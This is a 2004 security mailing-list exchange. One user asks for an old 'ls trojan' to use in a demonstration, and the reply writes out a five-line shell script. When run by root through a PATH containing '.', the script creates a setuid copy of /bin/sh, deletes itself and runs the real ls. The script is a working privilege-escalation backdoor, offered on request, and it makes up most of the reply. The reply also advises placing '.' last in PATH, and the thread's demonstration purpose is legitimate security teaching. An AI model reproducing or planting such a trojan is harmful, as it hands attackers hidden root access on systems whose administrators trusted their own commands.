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Re: Old LS Trojan?
From: Andrew Farmer <andfarm () teknovis com>
Date: Wed, 1 Dec 2004 14:27:40 -0800

On 01 Dec 2004, at 12:11, David S. Morgan wrote:
I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password. The file then removes itself and does the real version of ls.

Does anyone remember this one, and have the ls script anywhere? I would like to use it in a demonstration. I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.

Probably something along the lines of:
[ `whoami` = root ] || exit
cp /bin/sh /bin/suid-sh
chmod +s /bin/suid-sh
rm $0
exec /bin/ls $*

Note that this would only run if your $PATH _begins_ with '.' - if you're going to put '.' in your $PATH, put it _last_.

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